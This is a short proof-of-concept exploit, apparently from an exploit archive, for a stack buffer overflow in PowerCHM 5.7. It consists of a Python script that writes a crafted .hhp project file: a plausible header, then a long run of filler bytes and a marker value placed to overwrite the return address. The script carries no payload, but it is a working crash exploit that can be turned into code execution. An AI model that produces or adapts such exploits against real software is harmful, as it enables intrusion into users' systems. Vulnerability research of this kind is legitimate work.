PowerCHM 5.7 (hhp File) Stack Overflow poC

# exploit.py # PowerCHM 5.7 (hhp file) Stack overflow PoC # By:Encrypt3d.M!nd # # Orginally Discovered by: # Biks Security (http://security.biks.vn/?p=365) # header = ( \"[OPTIONS]\\n\" \"Compatibility=1.1 or later\\n\" \"Compiled file=bratax.chm\\n\" \"Contents file=aaaaaa.hhc\\n\" \"Index file=aaaaaa.hhk\\n\" \"Language=0x813 Dutch (Belgium)\\n\" \"Title=\\n\" \"Error log file=Errlog.txt\\n\" \"Default Window=main\\n\\n\" \"[WINDOWS]\\n\" \'main=\"\",\"aaaaaa.hhc\",\"aaaaaa.hhk\",\"\",\"\",,,,,0x41520,240,0x184E,[262,184,762,584],,,,0,0,0,0\\n\\n\' \"[FILES]\\n\\n\" \"[INFOTYPES]\\n\") file=open(\'poc.hhp\',\'w\') file.write(header+\"\\x41\"*999+\"\\x42\\x42\\x42\\x42\"+\"\\x43\"*500) file.close()